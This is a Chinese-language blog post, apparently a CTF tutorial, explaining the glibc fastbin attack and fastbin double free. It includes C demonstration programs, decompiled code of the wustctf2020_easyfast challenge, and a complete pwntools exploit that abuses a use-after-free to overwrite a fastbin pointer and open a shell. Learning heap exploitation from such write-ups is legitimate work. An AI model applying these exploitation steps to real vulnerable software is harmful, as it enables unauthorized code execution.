投稿-Fastbin Attack
2023-3-12 11:21:0 Author: xz.aliyun.com(查看原文) 阅读量:18 收藏

简介

基于 fastbin 机制的漏洞利用方法

前提

存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞

漏洞发生于 fastbin 类型的 chunk 中

分类

  1. Fastbin Double Free
  2. House of Spirit
  3. Alloc to Stack
  4. Arbitrary Alloc

前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击
后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。

原理

fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。

下面用一段程序加gdb调试来说明

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);
    chunk3=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);
    return 0;
}
  • gcc -g name.c -o name
  • -g 在gdb中带着源码调试
  • -o 命名

从下面的gdb调试中可以很好的看到这一点,我们申请的是0x10大小的堆块,加上chunk头的0x10和in_use位中p位的1,最后大小就是0x21

画一下chunk的结构

一般来说free掉chunk之后prev_inuse的p为应该是0,但由 fastbin 管理的 chunk 即使被释放后p位仍然为1

Fastbin Double Free

简介

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。

利用的原理

fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空

fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

#include <stdio.h>
#include <stdlib.h>

typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;

    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);

    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p",chunk_b);
    return 0;
}

申请两个chunk后,按顺序free掉chunk1,chunk2,chunk1,形成下面的链表


然后申请chunk1,把chunk1的fd指针改成bss_chunk的地址

再申请两个堆块就可以利用bss_chunk


总结一下
简单来说就是先申请了两个chunk,chunk1和chunk2,,然后先后free1、2、1,此时的fastbin链表为chunk1-->chunk2-->chunk1,然后重新申请chunk1,然后让chunk1的fd指针指向bss_chunk,此时bins中fastbin链表中队的chunk1也指向了bss_chunk,之后再陆续申请两个chunk就能控制利用bss_chunk了

例题

wustctf2020_easyfast

类型:fastbinattack double free
版本:Ubuntu16

ida

main

void sub_400ACD()
{
  char s[8]; // [rsp+0h] [rbp-20h] BYREF
  __int64 v1; // [rsp+8h] [rbp-18h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  *(_QWORD *)s = 0LL;
  v1 = 0LL;
  while ( 1 )
  {
    puts("choice>");
    fgets(s, 8, stdin);
    switch ( atoi(s) )
    {
      case 1:
        sub_400916();  //add
        break;
      case 2:
        sub_4009D7(s, 8LL);  //delete
        break;
      case 3:
        sub_400A4D(s, 8LL);  //edit
        break;
      case 4:
        sub_400896(s, 8LL);  //backdoor
        break;
      case 5:
        exit(0);
      default:
        puts("invalid");
        break;
    }
  }
}

add

unsigned __int64 sub_400916()
{
  int v0; // eax
  int v1; // ebx
  char s[24]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( dword_6020BC <= 3 )  //只能申请4个堆块
  {
    puts("size>");
    fgets(s, 8, stdin);
    v0 = atoi(s);
    if ( v0 && (unsigned __int64)v0 <= 120 )
    {
      v1 = dword_6020BC++;
      *(&buf + v1) = malloc(v0);
    }
    else
    {
      puts("No need");
    }
  }
  else
  {
    puts("No need");
  }
  return __readfsqword(0x28u) ^ v4;
}

delete

unsigned __int64 sub_4009D7()
{
  __int64 v1; // [rsp+8h] [rbp-28h]
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index>");
  fgets(s, 8, stdin);
  v1 = atoi(s);
  free(*(&buf + v1));   //uaf
  return __readfsqword(0x28u) ^ v3;
}

edit

unsigned __int64 sub_400A4D()
{
  __int64 v1; // [rsp+8h] [rbp-28h]
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index>");
  fgets(s, 8, stdin);
  v1 = atoi(s);
  read(0, *(&buf + v1), 8uLL);
  return __readfsqword(0x28u) ^ v3;
}

backdoor

int sub_400896()
{
  int result; // eax

  if ( qword_602090 )  //储存的值是1   改成0就可以往下执行,就可以提权了
    result = puts("Not yet");
  else
    result = system("/bin/sh");
  return result;
}

qword_602090

.data:0000000000602090 qword_602090    dq 1                    ; DATA XREF: sub_400896+4r
.data:0000000000602090 _data           ends
.data:0000000000602090

double free的原理

在删除堆的时候没有对指针进行归零操作,然后重复free同一个chunk试其的fd形成一个循环 此时我们就可以通过在第二次申请该chunk的时候让同一个chunk拥有写入和执行的权限

思路

通过存在的uaf漏洞在fastbin链表中去进行堆块的构造,让第一个free掉的chunk的fd指针指向需要修改的bss段数值的-0x10的位置(这里就是个伪造一个堆块)

然后把伪造的堆块当成真正的chunk去申请,然后再修改这个伪造chunk的fd指针处的数值,就能成功的getshell

exp

from pwn import *

context(os='linux',arch='amd64',log_level='debug')
io=process('./pwn')

def duan():
    gdb.attach(io)
    pause()

def add(size):
    io.recvuntil(b'choice>\n')
    io.sendline(b'1')
    io.recvuntil(b'size>\n')
    io.sendline(str(size))

def delete(index):
    io.recvuntil(b'choice>\n')
    io.sendline(b'2')
    io.recvuntil(b'index>\n')
    io.sendline(str(index))

def edit(index,content):
    io.recvuntil(b'choice>\n')
    io.sendline(b'3')
    io.recvuntil(b'index>\n')
    io.sendline(str(index))
    io.send(content)

def backdoor():
    io.recvuntil(b'choice>\n')
    io.sendline(b'4')


#io.recvuntil("_\\_\\ \n")
add(0x40)  #chunk0
add(0x20)  #chunk1

delete(0)  #free chunk0
#duan()
edit(0,p64(0x602080))

add(0x40)
add(0x40)

edit(3,p64(0))
backdoor()
io.interactive()

参考

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack/


文章来源: https://xz.aliyun.com/t/12279
如有侵权请联系:admin#unsafe.sh